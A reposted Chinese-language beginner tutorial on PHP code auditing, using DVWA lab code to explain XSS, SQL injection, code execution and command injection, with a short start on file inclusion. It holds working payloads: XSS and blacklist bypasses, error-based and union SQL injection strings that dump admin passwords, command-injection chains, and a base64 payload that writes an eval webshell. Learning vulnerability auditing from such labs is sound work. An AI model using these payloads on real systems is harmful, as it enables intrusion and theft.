代碼審計入門 轉載

前言javascript

最近在看php代碼審計,學習下代碼審計,看了很多師傅的博客,寫的很好,下面很多是借鑑師傅們的,好記性不如爛筆頭,記下,之後能夠方便查看。php

 
php代碼審計須要比較強的代碼能力和足夠的耐心。這篇文章是寫給我這樣的剛剛開始審計的菜鳥,下面若是寫的哪裏有錯誤的話,還望提出,不吝賜教。
在這裏也立個flag:一週至少審計一種CMS(大小不分),但願本身可以堅持下去,任重而道遠。

 

代碼審計--準備html

1,先放一張大圖,php代碼審計的幾個方向,也是容易出問題的地方,沒事的時候能夠多看看。前端

 

 

 

2,代碼審計也就是拿到某網站的源碼,進行審計,從而發現漏洞,可是咱們審計的時候並不必定要一行一行的去看吧,這樣未免也太浪費時間了,因此咱們須要工具進行幫助咱們。當屬 "Seay源代碼審計系統2.1" 優先選擇(靜態分析,關鍵字查找定位代碼不錯,可是誤報很高)。java

咱們在作代碼審計的時候,我的建議先要把審計的某CMS隨便點點,先熟悉一下功能。代碼審計前先進行黑盒測試是個不錯的選擇,知道哪裏有問題,而後再去找出問題的代碼。python

要關注變量和函數,mysql

1.能夠控制的變量【一切輸入都是有害的 】
2.變量到達有利用價值的函數[危險函數] 【一切進入函數的變量是有害的】
                                                                    ------來源t00ls
 
 
 

代碼審計--漏洞react

一,漏洞類型linux

1.sql注入web

 

2.文件操做[上傳/寫入/讀取/刪除]

 

3.文件包含

 

4.命令執行

 

5.xss

 

6.cookie欺騙

 

7.邏輯漏洞

 

........等等
 
咱們日常再進行黑盒測試時,上面的每種漏洞都有相對應的挖掘技巧,這裏代碼審計也是有技巧的。咱們進行黑盒測試getshell的時候,每每是上面的sql注入,文件操做(上傳),文件包含,命令執行相對容易getshell的。xss的話危害也很大,能夠泄露內網的信息,若是的是存儲型xss的話,就能夠打管理員的cookie,而後進行下一步的攻擊。邏輯漏洞是相對麻煩的,危害是很要命的,邏輯漏洞也分爲不少種,其中一元買東西是很出彩的,這裏經過修改訂單進行僞造支付金額。
因此咱們要認識清楚漏洞原理,積累cms常出漏洞,積累找這種漏洞的技巧。
 
二,漏洞分析
下面咱們就進行分析一下各類漏洞造成的緣由吧
1,首先咱們要作好準備工做,審計環境:windows環境(Apache+MySQL+php),可使用集成的,wampserver,phpstudy其餘,我用的是wamp,這裏在下載的時候不要用版本過高的,由於版本過高,會出現php語法警告以及不兼容的狀況。(下一篇也就是我準備寫的一個審計筆記,我日常用的wampserver,因爲個人mysql的版本過高,一直安裝不成功,後來又重裝了一個環境(upupw),會在下一篇詳細介紹)(文章裏面所提到的環境和工具後面都會分享到百度雲盤)。
 
 
2,準備好了就直接上手分析嗎?其實有更不錯的選擇,那就是----黑盒+白盒。黑盒很重要!黑盒很重要!黑盒很重要!這是重要的事情。咱們在黑盒測試的時候,能夠花費點時間,由於用的時間越多,咱們對所要分析的CMS的功能更熟悉,代碼審計的時候也就容易分析,好比看到搜索框,固然要看下有沒有注入或者是能不能彈出來框框,以及留言板有沒有xss。交互的數據很重要!
這裏有個小技巧, 本地測試的時候要把輸入點打印出來。
將用戶的輸入數據進行var_dump,重要的是對最終的sql語句進行var_dump,這和給你省去不少力氣!咱們只要var_dump($sql)而後再能夠去黑盒測試,[好比搜索框,用戶登入,文件上傳名稱等等]。
 
3,如今能夠進行漏洞分析了,下面會寫到比較常見的漏洞類型以及審計不一樣漏洞的技巧。
 
XSS漏洞
XSS又叫CSS (Cross Site Script) ,跨站腳本攻擊。它指的是惡意攻擊者往web頁面裏插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的html代碼會被執行,從而達到惡意用戶的特殊目的。 xss分爲存儲型的xss和反射型xss, 基於DOM的跨站腳本XSS。
 
【反射型】

反射型xss審計的時候基本的思路都同樣,經過尋找可控沒有過濾(或者能夠繞過)的參數,經過echo等輸出函數直接輸出。尋找的通常思路就是尋找輸出函數,再去根據函數尋找變量。通常的輸出函數有這些:print , print_r , echo , printf , sprintf , die , var_dump ,var_export。

測試代碼以下:

<?php
echo $_GET['xssf'];
?>

http://127.0.0.1/test/xssf.php?xssf=<script>alert(/orange/);</script>

 
 
可能有人會有情緒不高,由於這是本身寫的,玩起來沒有成就感,
那咱們能夠用滲透平臺 DVWA 呀(後面會分享到百度雲盤,有了wampserver環境,直接把文件夾放/wamp/www/目錄就能夠),固然了,這裏咱們選擇low的難度,由於好分析。咱們輸入<script>alert("orange")</script>,會彈出框框。以下圖所示
相關連接(http://127.0.0.1/DVWA-1.9/vulnerabilities/xss_r/?name=<script>alert("orange")</script>#)
 

 

 

 

 

分析以下:首先看下源碼

 

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

這裏咱們能夠清楚的看到 if 裏面的php函數array_key_exists,如今不懂不要緊,百度一下你就知道。

array_key_exists(key,array)
key 必需。規定鍵名。
array 必需。規定數組。

array_key_exists() 函數檢查某個數組中是否存在指定的鍵名,若是鍵名存在則返回 true,若是鍵名不存在則返回 false。

輸入的值也就是GET獲得的值是以數組的形式,而後判斷GET獲得的name是否是空,若是知足 if 語句,這裏就會進行 if 括號裏面的,echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; 咱們能夠清楚的看到,這裏直接輸出傳的name參數,並無任何的過濾與檢查,存在明顯的XSS漏洞。

 

 

 

這裏咱們能夠再進行分析一下medium中等難度下的代碼

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

能夠看到有一點上low的代碼是不同的,那就是進行了一次過濾,

用的str_replace()函數,這個函數的功能是:以其餘字符替換字符串中的一些字符(區分大小寫)。

這裏的做用是替換<script>,也就是把<script>替換成空格,而後再進行輸出。

這裏對輸入進行了過濾,基於黑名單的思想,使用str_replace函數將輸入中的<script>刪除,這種防禦機制是能夠被輕鬆繞過的。

雙寫繞過:輸入<sc<script>ript>alert(/xss/)</script>,成功彈框。

大小寫混淆繞過:輸入<ScRipt>alert(/xss/)</script>,成功彈框。這裏就不截圖了。

 

 

 

High等級也是基於黑名單思想,進行過濾。可是咱們能夠經過其餘標籤來進行XSS。

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 

代碼如上,這裏就不一一分析了。

 

 

 

 

【存儲型】

存儲型xss審計和反射型xss審計時候思路差很少,不過存儲型xss會在數據庫「中轉」一下,主要審計sql語句update ,insert更新和插入。

進行白盒審計前,咱們先進行下黑盒測試

輸入name的時候發現,name輸不了那麼多了,這是咱們能夠右鍵審查元素,能夠看到限制長度爲10了,其實說這句話,只是想提醒一下像我這樣的小白,審查元素也是一門"學問"

name出隨便輸入,message處輸入:<script>alert(/orange/)</script>,能夠看到會彈出框框

 

這是看下源碼,咱們分析下

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = mysql_real_escape_string( $message );

    // Sanitize name input
    $name = mysql_real_escape_string( $name );

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    //mysql_close();
}

?>

能夠看到接收POST過來的參數,trim()函數是移除字符串兩側的空白字符或其餘預約義字符。

這裏先進行過濾一下,把咱們輸入字符串兩側的空白字符和其餘預約義字符給過濾掉。預約義字符包括:\t,\n,\x0B,\r以及空格。

$message = stripslashes( $message );

而後stripslashes()函數:刪除反斜槓

而後message參數再通過mysql_real_escape_string()函數進行轉義。

mysql_real_escape_string() 函數轉義 SQL 語句中使用的字符串中的特殊字符。

下列字符受影響:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

若是成功,則該函數返回被轉義的字符串。若是失敗,則返回 false。

最後給插入數據庫。這個時候咱們去數據庫看一下,以下圖,能夠看到xss代碼已經插入數據庫了,這也就是存儲型XSS與反射性XSS的區別。

由於咱們在前端看到的都是經由數據庫傳過來的數據,因此會彈出框框。

這裏我最後總結一下,順便再分析一下。

我輸入的值是:<script>alert(/orange/)</script>,首先上面的trim()函數過濾空格和預約義字符,這裏對輸入的值是沒有影響的,因此$messsge仍是<script>alert(/orange/)</script>,而後stripslashes()函數刪除反斜槓,因爲輸入的message沒有反斜槓,因此無效。$message仍是<script>alert(/orange/)</script>,最後用mysql_real_escape_string()函數進行轉義,上面能夠清楚的看到這個函數對什麼字符有影響,可是沒有對$message有影響,因此這時的$_message仍是<script>alert(/orange/)</script>這個時候就把$message傳入數據庫,也就是上圖數據庫中的數據。前端讀取的數據的時候是從數據庫中讀取,所以把$message讀出來,從而形成了存儲型XSS漏洞。

還有medium,high,這裏就不作分析了,這裏解決XSS漏洞的方法就是用htmlspecialchars函數進行編碼。可是要注意的是,若是htmlspecialchars函數使用不當,

攻擊者就能夠經過編碼的方式繞過函數進行XSS注入,尤爲是DOM型的XSS。說的DOM型XSS,下面就是啦。

 

 

 

 

【DOM】

這個DVWA裏面沒有這種,這裏仍是咱們本身動手豐衣足食吧。

基於DOM的跨站腳本XSS:經過訪問document.URL 或者document.location執行一些客戶端邏輯的javascript代碼。不依賴發送給服務器的數據。

 

<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system

</HTML>

 

 

瀏覽器開始解析這個HTML爲DOM,DOM包含一個對象叫document,document裏面有個URL屬性,這個屬性裏填充着當前頁面的URL。當解析器到達javascript代碼,它會執行它而且修改你的HTML頁面。假若代碼中引用了document.URL,那麼,這部分字符串將會在解析時嵌入到HTML中,而後當即解析,同時,javascript代碼會找到(alert(…))而且在同一個頁面執行它,這就產生了xss的條件。

注意:

1. 惡意程序腳本在任什麼時候候不會嵌入處處於天然狀態下的HTML頁面(這和其餘種類的xss不太同樣)。

2.這個攻擊只有在瀏覽器沒有修改URL字符時起做用。 當url不是直接在地址欄輸入,Mozilla.會自動轉換在document.URL中字符<和>(轉化爲%3C 和 %3E),所以在就不會受到上面示例那樣的攻擊了,在IE6下沒有轉換<和>,所以他很容易受到攻擊。

這裏能夠看到個人瀏覽器自動轉換了字符<>,因此沒有彈出框,這裏咱們知道原理就好,IE6下沒有轉換<和>,因此是能夠彈框框的。

 

 

 

 

SQL注入漏洞

sql注入是咱們審計比較重視的漏洞之一

SQL注入,就是經過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。SQL注入的產生緣由:①不當的類型處理;②不安全的數據庫配置;③不合理的查詢集處理;④不當的錯誤處理;⑤轉義字符處理不合適;⑥多個提交處理不當。

首先說一下普通的注入審計,能夠經過$_GET,$_POST等傳參追蹤數據庫操做,也能夠經過select , delete , update,insert 數據庫操做語句反追蹤傳參。

如今的通常的CMS都注意到了SQL注入的嚴重性,因此他們對於注入都進行了必定的過濾,通常他們會用到兩種過濾方法。

01.對於數字型的輸入,直接使用intval($_GET[id]),強制轉換成整數,這種過濾是毫無辦法的。
$ann_id = !empty($_REQUEST['ann_id']) ? intval($_REQUEST['ann_id']) : '';
要是沒有intval($_GET[id]) 那就尷尬了。
ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,(select%20concat(admin_name,0x23,email,0x23,pwd)%20from%20blue_admin)
02.有些輸入是字符型的,不可能轉換成數字。這個使用就使用addslashes對輸入進行轉義。
aaa’aa ==> aaa\’aa
aaa\aa ==> aaa\\aa
SELECT * FROM post WHERE id=’aaa\’ union select pwd from admin limit 0,1#

 

下面介紹下常見的SQL注入類型,最後再用DVWA進行分析。

漏洞(一)ip沒過濾直接進到sql語句
函數講解:
getenv : 這個函數是得到環境變量的函數,也能夠用來得到$_SERVER數組的信息。
getenv('HTTP_X_FORWARDED_FOR') --> $_SERVER[HTTP_X_FORWARDED_FOR]
固然http頭還有referer 這也是能夠假裝的,要是沒有過濾好也會產生會注入問題
 
 
漏洞(二)寬字節注入 [對字符]
若是發現 cms是GBK 只有看看 能不能寬字節注入
Sqlmap 的unmagicquotes.py 能夠進行寬字測試
解決寬字節注入辦法:
mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);
到這裏就通常高枕無憂了.....
可是 要是多此一舉得使用iconv就可能出現問題了
有些cms:
會加上下面語句避免亂碼
iconv('utf-8', 'gbk', $_GET['word']);
將傳入的word有utf-8轉成gbk.....
發現錦的utf-8 編碼是0xe98ca6,而的gbk 編碼是0xe55c
咱們輸入錦' -->%e5%5c%27【%5c就是\】
在通過轉移------>%e5%5c%5c%27【5c%5c就是\\】這樣咱們就能夠注入了
 
 
 
 
漏洞(三)二次注入
攻擊payload首先被Web服務器上的應用存儲,隨後又在關鍵操做中被使用,這便被稱爲二次注入漏洞。
詳細請看(http://www.cnblogs.com/ichunqiu/p/5852330.html)
 
 
 
漏洞(四)文件名注入
由於$_FILE,$_SERVER不受gpc影響,那麼可能形成注入.......
有些cms會把name的值保存在數據庫裏,但又沒有對name進行過濾。
烏雲編號:wooyun-2010-051124
 
 
漏洞(五)報錯注入

一、經過floor報錯,注入語句以下:  

and select from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

二、經過ExtractValue報錯,注入語句以下:

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

三、經過UpdateXml報錯,注入語句以下:

and 1=(updatexml(1,concat(0x3a,(selectuser())),1))

四、經過NAME_CONST報錯,注入語句以下:

and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

五、經過join報錯,注入語句以下:

select * from(select * from mysql.user ajoin mysql.user b)c;

六、經過exp報錯,注入語句以下:

and exp(~(select * from (select user () ) a) );

七、經過GeometryCollection()報錯,注入語句以下:

and GeometryCollection(()select *from(select user () )a)b );

八、經過polygon ()報錯,注入語句以下:

and polygon (()select * from(select user ())a)b );

九、經過multipoint ()報錯,注入語句以下:

and multipoint (()select * from(select user() )a)b );

十、經過multlinestring ()報錯,注入語句以下:

and multlinestring (()select * from(selectuser () )a)b );

十一、經過multpolygon ()報錯,注入語句以下:

and multpolygon (()select * from(selectuser () )a)b );

十二、經過linestring ()報錯,注入語句以下:

and linestring (()select * from(select user() )a)b );
 
小技巧:
最好可見在本地測試時候講你的輸入點打印出來
我會將用戶的輸入數據進行var_dump
重要的是對最終的sql語句進行var_dump,這和給你省去不少力氣!咱們只要var_dump($sql)而後再能夠去黑盒測試。
 
 
 

 DVWA分析

SQL Injection

選擇Low級別,便於審計分析。首先咱們黑盒測試一下,咱們輸入:

1‘or ’1‘=’1這個時候就能夠判斷出存在字符型注入。

1' or 1=1 order by 2 #   ,1' or 1=1 order by 3 #,這個時候就能夠判斷2個字段。下面的就不進行注入爆庫了。

 

 

 

這個時候看下源碼分析一下。

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

?>

能夠看到,接收到submit傳過來的值,id沒有進行任何的檢查與過濾,存在明顯的SQL注入。

 

 

選擇medium級別

代碼以下

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Display values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    //mysql_close();
}

?>

 

能夠看到對接收到的參數id  只是用函數mysql_real_escape_string()轉義了一下。

下列字符受影響:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

並且前端頁面設置了下拉選擇表單,但願以此來控制用戶的輸入。不過沒多大用處,咱們依然能夠經過抓包改參數,提交惡意構造的查詢參數。

抓包更改參數id爲1 or 1=1 #,查詢成功,說明存在數字型注入。(因爲是數字型注入,服務器端的mysql_real_escape_string函數就形同虛設了,由於數字型注入並不須要藉助引號。),因此咱們仍是能夠進行注入。

 

 

 

選擇high級別

代碼分析

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

?>

 

以看到,與Medium級別的代碼相比,High級別的只是在SQL查詢語句中添加了LIMIT 1,但願以此控制只輸出一個結果。

雖然添加了LIMIT 1,可是咱們能夠經過#將其註釋掉。這樣的就又能夠進行注入了。

 

 

 

 

 

SQL Injection(Blind),即SQL盲注

與通常注入的區別在於,通常的注入攻擊者能夠直接從頁面上看到注入語句的執行結果,而盲注時攻擊者一般是沒法從顯示頁面上獲取執行結果,甚至連注入語句是否執行都無從得知,所以盲注的難度要比通常注入高。目前網絡上現存的SQL注入漏洞大可能是SQL盲注。

代碼分析

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?>

能夠看到,Low級別的代碼對參數id沒有作任何檢查、過濾,存在明顯的SQL注入漏洞,同時SQL語句查詢返回的結果只有兩種

 

User ID exists in the database.

User ID is MISSING from the database.

所以這裏是SQL盲注漏洞。

 

輸入1’ and 1=1 #,顯示存在。輸入1’ and 1=2 #,顯示不存在。說明存在字符型的SQL盲注。這裏僅做判斷存在SQL注入,不進一步攻擊。

 

 

 

選擇medium級別

代碼分析

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>

 

能夠看到對接收到的參數id  只是用函數mysql_real_escape_string()轉義了一下。

下列字符受影響:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

並且前端頁面設置了下拉選擇表單,但願以此來控制用戶的輸入。不過沒多大用處,咱們依然能夠經過抓包改參數,提交惡意構造的查詢參數。

抓包更改參數輸入1’ and 1=1 #,顯示存在。輸入1’ and 1=2 #,顯示不存在。說明存在字符型的SQL盲注,查詢成功,說明存在注入。

 

 

high級別

代碼分析

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?>

能夠看到,High級別的代碼利用cookie傳遞參數id,當SQL查詢結果爲空時,會執行函數sleep(seconds),目的是爲了擾亂基於時間的盲注。同時在 SQL查詢語句中添加了LIMIT 1,但願以此控制只輸出一個結果。

雖然添加了LIMIT 1,可是咱們能夠經過#將其註釋掉。但因爲服務器端執行sleep函數,會使得基於時間盲注的準確性受到影響,但仍然是能夠注入的。

 

 

 

 

 

代碼執行審計

代碼執行審計和sql漏洞審計很類似,sql注入是想sql語句注入在數據庫中,代碼執行是將可執行代碼注入到webservice 。這些容易致使代碼執行的函數有如下這些:eval(), asset() , preg_replace(),call_user_func(),call_user_func_array(),array_map()其中preg_replace()須要/e參數。

代碼執行注入就是 在php裏面有些函數中輸入的字符串參數會當作PHP代碼執行。

Eval函數在PHP手冊裏面的意思是:將輸入的字符串編程PHP代碼

1,先寫個簡單的代碼測試一下(很俗套的代碼)

<?php
if(isset($_GET['orange']))
{
    $orange=$_GET['orange'];
    eval("\$orange=$orange");
}
//PHP  代碼審計代碼執行
?>

直接接收orange參數,payload:?orange=phpinfo();

下面圖能夠看到成功執行。


 

 

 

2,再看一個,測試代碼以下

<?php
//PHP 代碼審計代碼執行注入
if(isset($_GET['orange']))
{
    echo $regexp = $_GET['orange'];
    $String = '<php>phpinfo()</php>';
    var_dump(preg_replace("/<php>(.*?)$regexp","\\1",$String));
}
?>

能夠看到代碼有正則preg_replace(),因此如今須要/e參數,才能進行代碼執行。

正則表達式過濾後是phpinfo(),正則表達式的意思是將String中含reg的字符串的樣式去除。因此如今咱們能夠構造payload:?orange=<\/php>/e   ,如今解釋一下爲何,preg_replace(),/<php>(.*?)$regexp,接收的參數構形成正則表達式/<php>(.*?)<\/php>/e,將$String也就是<php>phpinfo()</php>過濾成phpinfo(),這樣就能夠成功執行了。

 

 3,參數注入,測試代碼以下

<?php
//PHP 代碼審計代碼執行注入
if(isset($_GET['orange']))
{
    echo $regexp = $_GET['orange'];
    //$String = '<php>phpinfo()</php>';
    //var_dump(preg_replace("/<php>(.*?)$regexp","\\1",$String));
    preg_replace("/orange/e",$regexp,"i am orange");
}
?>

分析和上面差很少。
直接構造payload就好:?orange=phpinfo();

 

 4,動態函數執行----一個超級隱蔽的後門

測試代碼

<?php $_GET[a]($_GET[b]);?>

 僅用GET函數就構成了木馬;利用方法payload:

?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

 運行上述payload,會在同目錄下生成c.php文件,裏面的內容是<?php @eval($_POST[c]); ?>1,生成一句話木馬。

 

 

 

 

 命令執行審計

代碼執行說的是可執行的php腳本代碼,命令執行就是能夠執行系統命令(cmd)或者是應用指令(bash),這個漏洞也是由於傳參過濾不嚴格致使的,

通常咱們說的php可執行命令的函數有這些:system();exec();shell_exec();passthru();pcntl_exec();popen();proc_open();

反引號也是能夠執行的,由於他調用了shell_exec這個函數。

1,測試代碼:

<?php
$orange=$_GET['orange'];
system($orange);
?>

直接GET傳參,而後system()----執行shell命令也就是向dos發送一條指令

payload:?orange=net user   查看一下電腦的用戶。

 

 


2,再演示一個popen()函數
測試代碼:
<?php
popen('net user>>C:/Users/ww/Desktop/1234.txt','r');
?>

只要php文件運行,就會在上述路徑生成1234.txt文件,裏面的內容是net user的結果。

 

 

 

3,反引號命令執行

測試代碼:

<?php
echo `net user`;
?>

直接echo ,直接就能夠執行命令

 

 

 

 

 

 

DVWA分析

選擇low級別,先進行一下黑盒測試。

輸入8.8.8.8&&net user,能夠看到成功執行兩條命令

下面分析一下,相關函數介紹 

stristr(string,search,before_search)

stristr函數搜索字符串在另外一字符串中的第一次出現,返回字符串的剩餘部分(從匹配點),若是未找到所搜索的字符串,則返回 FALSE。參數string規定被搜索的字符串,參數search規定要搜索的字符串(若是該參數是數字,則搜索匹配該數字對應的 ASCII 值的字符),可選參數before_true爲布爾型,默認爲「false」 ,若是設置爲 「true」,函數將返回 search 參數第一次出現以前的字符串部分。

php_uname(mode)

這個函數會返回運行php的操做系統的相關描述,參數mode可取值」a」 (此爲默認,包含序列」s n r v m」裏的全部模式),」s 」(返回操做系統名稱),」n」(返回主機名),」 r」(返回版本名稱),」v」(返回版本信息), 」m」(返回機器類型)。

 

命令鏈接符


command1 && command2   先執行command1後執行command2
command1 | command2     只執行command2
command1 & command2    先執行command2後執行command1


以上三種鏈接符在windows和linux環境下都支持
若是程序沒有進行過濾,那麼咱們就能夠經過鏈接符執行多條系統命令。

 

 

能夠看到,服務器經過判斷操做系統執行不一樣ping命令,可是對ip參數並未作任何的過濾,致使了嚴重的命令注入漏洞。

看下代碼:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

上面代碼能夠清楚的看到,對輸入的命令沒有過濾,直接進行參數的傳遞。能夠經過用「&&」和「;」來執行額外的命令 ping 8.8.8.8&&net user

 

 

 

選擇medium級別,先進行黑盒測試,

發現輸入:8.8.8.8&&net user,不能夠用,這個時候能夠去掉一個,輸入:8.8.8.8&net user,是能夠」成功「的。

可是這裏須要注意的是」&&」與」    &」的區別:
Command 1&&Command 2
先執行Command 1,執行成功後執行Command 2,不然不執行Command 2

Command 1&Command 2
先執行Command 1,無論是否成功,都會執行Command 2

 

這個時候咱們看下代碼

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

相比Low級別的代碼,服務器端對ip參數作了必定過濾,即把」&&」 ,」;」刪除,本質上採用的是黑名單機制,所以依舊存在安全問題。

這個時候就能夠開始利用了

 

***由於被過濾的只有」&&」與」    ;」,因此」&」不會受影響。因此能夠輸入:8.8.8.8&net user

***因爲使用的是str_replace把」&&」,」;」替換爲空字符,所以能夠採用如下方式繞過: 8.8.8.8;&net user

這是由於」8.8.8.8&;&net user」中的」 ;」會被替換爲空字符,這樣一來就變成了」8.8.8.8&;&net user」 ,會成功執行。

 

 

 

 

選擇high級別,先進行黑盒測試,結果發現,好多都被過濾掉了,不要緊,看下代碼

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

相比Medium級別的代碼,High級別的代碼進一步完善了黑名單,但因爲黑名單機制的侷限性,咱們依然能夠繞過。

漏洞利用

Command 1 | Command 2
「|」是管道符,表示將Command 1的輸出做爲Command 2的輸入,而且只打印Command 2執行的結果。
黑名單看似過濾了全部的非法字符,但仔細觀察到是把」| 」(注意這裏|後有一個空格)替換爲空字符,因而    」|」 就有用了。

輸入:8.8.8.8|net user  

下圖成功執行。

 

 

 

 

文件包含審計

 PHP的文件包含能夠直接執行包含文件的代碼,包含的文件格式是不受限制的,只要能正常執行便可。

文件包含有這麼兩種:本地包含(LFI)和遠程包含(RFI)。,顧名思義就能理解它們的區別在哪。

